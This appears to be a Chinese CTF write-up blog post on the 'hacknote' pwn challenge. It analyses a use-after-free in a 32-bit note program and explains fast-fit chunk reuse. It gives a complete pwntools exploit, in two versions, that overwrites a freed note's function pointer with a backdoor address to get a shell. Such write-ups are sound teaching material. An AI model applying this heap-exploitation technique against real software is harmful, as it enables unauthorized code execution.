pwn刷题num44----fast fit and UAF

61 篇文章 1 订阅
18 篇文章 1 订阅

题目链接–本地程序

fast fit思想

如果一个chunk是空闲的并且足够大(大于用户申请的chunk大小),那么申请chunk时,就会选择这个空闲的chunk
在这里插入图片描述
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行

32位程序,小端序
开启部分RELRO-----got表可写
未开启canary保护-----存在栈溢出
开启NX保护-----堆栈不可执行
未开启PIE-----程序地址为真实地址
动态链接

运行一下
在这里插入图片描述
四种选择,添加一个note,删除一个note,输出一个note,退出程序
ida一下
主函数: 调用四个子函数,在这里插入图片描述
menu函数:菜单栏
在这里插入图片描述
add_note();函数,首先限制了可以添加的note的数量,count不能大于5,添加note时,先是申请了0x8字节(mem大小为0x8字节,实际chunk大小为0x10字节)的内存(记为chunk1),之后又申请size(我们输入的大小)的内存(记为chunk2),然后chunk1指向chunk2,所以添加一个note,需要申请两个chunk

在这里插入图片描述
注意一下这里

*notelist[i] = print_note_content;

在这里插入图片描述
这里把一个puts函数地址赋给我们申请的第一个chunk(*notelist[i])

del_note();函数。首先判断输入的要删除的序号是否在[0,4],之后free掉note(申请的两个chunk),
但这里注意free掉之后未把指针置空,存在uaf漏洞
在这里插入图片描述
print_note();

在这里插入图片描述
注意一下这里,前半部分(*notelist[v2])是我们在add函数里的puts函数,后半部分(notelist[v2]);是puts函数的参数,把note的内容dayinchulai

(*notelist[v2])(notelist[v2]);

寻找一下有没有后门函数
在这里插入图片描述
在这里插入图片描述

思路

利用free后指针未置空,先申请两个相同大小的note,产生4个chunk,之后再全释放掉,然后再申请一个小于前两个chunk大小的note,这时把后门函数地址写入chunk中,覆盖掉puts函数的地址,再次调用 print_note();程序直接调用后门函数,获得shell
可以用gdb看一下

exp

from pwn import *
context(os='linux',endian='little',log_level='debug',arch='i386')
context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
sh = process("./hacknote")
elf = ELF("./hacknote")
 
def dbg():
    gdb.attach(sh)
    pause()

def add(size,content='a'):
    sh.sendlineafter("Your choice :",'1')
    sh.sendlineafter("Note size :",str(size))
    sh.sendlineafter("Content :",content)

def dele(index):
    sh.sendlineafter("Your choice :",'2')
    sh.sendlineafter("Index :",str(index))

def show(index):
    sh.sendlineafter("Your choice :",'3')
    sh.sendlineafter("Index :",str(index))

def exits():
    sh.sendlineafter("Your choice :",'4')

magic = p32(elf.sym['magic'])
add(0x10)   #申请两个0x10(mem大小)字节大小的chunk(实际为0x18字节大小)
add(0x10)

dbg()		#调试第一个断点

dele(0)   #删除两个note
dele(1)

dbg()		#调试第二个断点

add(0x8,magic)  #首先申请一个0x10大小的chunk存放puts函数地址和context(输入的note内容)地址,
				#因为我们最后释放的第1个note,所以再次申请chunk时会申请到第1个note的第一个chunk,
				#而我们申请的申请一个0x8(mem大小)字节大小的chunk(实际为0x10字节大小),
				#大小与第0个note的第一个chunk大小一样,会把这个chunk申请出来,
				#而我们写入magic地址,就把puts函数地址覆盖为magic地址

dbg()    #调试第三个断点


show(0)		#调用(*notelist[v2])(notelist[v2]);,此时就是调用magic函数,获得shell
sh.interactive()

运行
在这里插入图片描述
在这里插入图片描述

可以看到程序运行到第一个断点处,发现程序申请了四个chunk,两个一组,一个chunk存puts函数地址(0x080485fb)和下一个chunk地址(0x08aad018),另一个chunk存放输入的note的内容

0x8aad000:	0x00000000	0x00000011	0x080485fb	0x08aad018#0号第一个chunk
0x8aad010:	0x00000000	0x00000019	0x00000a61	0x00000000
0x8aad020:	0x00000000	0x00000000	 #0号第二个chunk   0x00000000	0x00000011
0x8aad030:	0x080485fb	0x08aad040	#1号第一个chunk 0x00000000	0x00000019
0x8aad040:	0x00000a61	0x00000000	0x00000000	0x00000000 #0号第二个chunk 

接着运行在这里插入图片描述
可以看到所有chunk中的puts函数地址都被free,但是指针未置空,使第一个chunk还是指向第二个chunk
接着运行
在这里插入图片描述
0号note的第一个chunk的puts函数处已经被我们覆盖为magic函数地址(0x08048945)
接着运行获得shell

在这里插入图片描述
去掉断点调试后的exp

from pwn import *
context(os='linux',endian='little',log_level='debug',arch='i386')
context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
sh = process("./hacknote")
elf = ELF("./hacknote")
def dbg():
    gdb.attach(sh)
    pause()
def add(size,content='a'):
    sh.sendlineafter("Your choice :",'1')
    sh.sendlineafter("Note size :",str(size))
    sh.sendlineafter("Content :",content)
def dele(index):
    sh.sendlineafter("Your choice :",'2')
    sh.sendlineafter("Index :",str(index))
def show(index):
    sh.sendlineafter("Your choice :",'3')
    sh.sendlineafter("Index :",str(index))
def exits():
    sh.sendlineafter("Your choice :",'4')
magic = p32(elf.sym['magic'])
add(0x10)
add(0x10)
dele(0)
dele(1)
add(0x8,magic)
show(0)
sh.interactive()
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值